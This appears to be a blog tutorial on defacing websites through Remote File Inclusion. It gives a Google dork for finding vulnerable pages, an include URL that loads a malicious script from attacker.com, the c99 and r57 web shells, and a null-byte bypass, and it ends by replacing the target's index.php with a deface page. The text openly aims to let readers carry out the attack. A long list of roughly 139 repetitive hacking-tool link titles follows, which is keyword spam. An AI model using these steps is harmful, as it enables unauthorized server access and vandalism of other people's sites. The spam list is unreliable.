HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

More info

1. Best Hacking Tools 2019
2. Wifi Hacker Tools For Windows
3. Pentest Tools
4. Hacker Search Tools
5. Hacking Tools And Software
6. Pentest Tools Open Source
7. Pentest Tools Website Vulnerability
8. Hacker Tools Github
9. Hacker Tools Apk Download
10. Hack Rom Tools
11. Pentest Tools Github
12. Bluetooth Hacking Tools Kali
13. Hacking Tools Usb
14. How To Hack
15. Beginner Hacker Tools
16. Easy Hack Tools
17. Pentest Tools Open Source
18. New Hacker Tools
19. Best Pentesting Tools 2018
20. Pentest Reporting Tools
21. Hacking Tools Pc
22. Hacking Tools Kit
23. Hack Rom Tools
24. Github Hacking Tools
25. Tools 4 Hack
26. Pentest Tools Windows
27. Hacker Tools Apk Download
28. Tools Used For Hacking
29. Kik Hack Tools
30. Hak5 Tools
31. Hak5 Tools
32. Hacker Tools Free
33. Hacker Tool Kit
34. Pentest Tools For Ubuntu
35. Hacking Tools Hardware
36. Pentest Automation Tools
37. Tools Used For Hacking
38. Hacking Tools And Software
39. Pentest Tools Android
40. Hacking Tools Github
41. Pentest Tools Bluekeep
42. Best Hacking Tools 2020
43. Hack Tools
44. How To Make Hacking Tools
45. Pentest Tools Website Vulnerability
46. Hacks And Tools
47. Hacker Tools Mac
48. Pentest Tools Online
49. Pentest Box Tools Download
50. Hack Tools For Windows
51. Hacking Tools For Pc
52. Pentest Tools Url Fuzzer
53. Pentest Tools Apk
54. Hacking Tools Free Download
55. How To Make Hacking Tools
56. Pentest Tools For Windows
57. Hacking Tools Hardware
58. Hack Tool Apk
59. Hack Tools Online
60. Pentest Automation Tools
61. Hak5 Tools
62. Blackhat Hacker Tools
63. Hacker Hardware Tools
64. Pentest Tools For Ubuntu
65. Pentest Tools Bluekeep
66. Hacker Tools For Pc
67. Hack Tools For Mac
68. Hacker Tools For Windows
69. Hacking Tools Github
70. Hak5 Tools
71. Hacking Apps
72. Hacking Tools Free Download
73. Pentest Tools Review
74. World No 1 Hacker Software
75. Pentest Tools Windows
76. Pentest Tools Find Subdomains
77. Hacking Tools Free Download
78. Bluetooth Hacking Tools Kali
79. Usb Pentest Tools
80. Pentest Tools Website
81. Game Hacking
82. Hack Tools
83. Pentest Tools Free
84. Pentest Tools List
85. Best Hacking Tools 2020
86. Pentest Tools Free
87. Hacking Tools For Windows 7
88. Beginner Hacker Tools
89. Free Pentest Tools For Windows
90. Hacker Techniques Tools And Incident Handling
91. Black Hat Hacker Tools
92. Hacker Hardware Tools
93. Hacking App
94. Pentest Tools Find Subdomains
95. Pentest Box Tools Download
96. Pentest Tools Website
97. Hacker Tools Free
98. Hacking Tools Pc
99. Underground Hacker Sites
100. Hack App
101. Hacker Tools Free
102. Hacker Security Tools
103. Tools 4 Hack
104. Pentest Tools Tcp Port Scanner
105. Hacking Tools For Windows 7
106. Hacking Tools For Windows 7
107. Nsa Hack Tools Download
108. Hack Tool Apk No Root
109. Pentest Tools Framework
110. Ethical Hacker Tools
111. Pentest Tools For Mac
112. Hacking Tools Usb
113. Hacker Tools Apk Download
114. How To Make Hacking Tools
115. Hacks And Tools
116. Best Pentesting Tools 2018
117. Hacker Hardware Tools
118. Hack Tools For Mac
119. Hacker Tools Free Download
120. Pentest Tools Framework
121. Hack Tools Download
122. New Hacker Tools
123. Hacking Tools Pc
124. Hack Tools Mac
125. Growth Hacker Tools
126. Hacking Tools For Windows Free Download
127. Hack Tools For Mac
128. Hacking Tools For Beginners
129. Hack Apps
130. Android Hack Tools Github
131. Hacker Tools For Mac
132. Hacker Tools Linux
133. Pentest Tools Find Subdomains
134. Usb Pentest Tools
135. Black Hat Hacker Tools
136. Hacking Tools Software
137. Growth Hacker Tools
138. Ethical Hacker Tools
139. Wifi Hacker Tools For Windows